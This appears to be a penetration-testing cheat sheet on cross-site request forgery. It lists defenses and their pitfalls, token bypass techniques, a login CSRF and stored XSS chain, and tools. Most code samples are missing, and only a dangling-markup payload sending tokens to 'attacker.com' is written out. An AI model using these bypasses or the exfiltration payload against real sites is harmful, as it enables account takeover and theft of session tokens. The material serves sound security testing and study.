Prerequisites for a CSRF Attack
- A valuable action — password change, email change, privilege escalation
- Cookie-only session management — session maintained via cookies or HTTP Basic Auth
- No unpredictable parameters — no unique tokens required
Defenses and Their Pitfalls
| Defense | Pitfall |
|---|---|
| CSRF tokens | Only validated when present; empty token may be accepted |
| SameSite=Lax | Still allows top-level cross-site navigations (form GETs) |
| Referer check | Bypass with meta name="referrer" content="never" or regex tricks |
| Custom headers | X-Requested-With can sometimes be spoofed |
Token Bypass Techniques
Missing Token Validation
Token Not Tied to User Session
If tokens are validated against a global pool:- Authenticate with your own account
- Obtain a valid token from the pool
- Use that token in a CSRF attack against another victim
POST to GET Method Bypass
Some applications only validate CSRF on POST:Method Override
X-HTTP-Method, X-HTTP-Method-Override, X-Method-Override
CSRF Token via Cookie (Double Submit)
If the token is in both cookie and request body, exploit CRLF injection to set the cookie:Referrer Bypass
PoC Templates
- Form GET
- Form POST
- Ajax POST
- JSON via text/plain
Stored CSRF via HTML Injection
Login CSRF + Stored XSS Chain
Force the victim to log into an attacker-controlled account, then navigate to a page with stored XSS:Exfiltrating CSRF Tokens
If a CSRF token is in use, exfiltrate it via:- XSS — make the victim’s browser read and send the token
- Dangling Markup — steal tokens from page attributes using
<img src="http://attacker.com/
CSRF Brute Force Script
Tools
- XSRFProbe
- CSRF PoC Generator
- Burp Suite Professional (Generate CSRF PoC)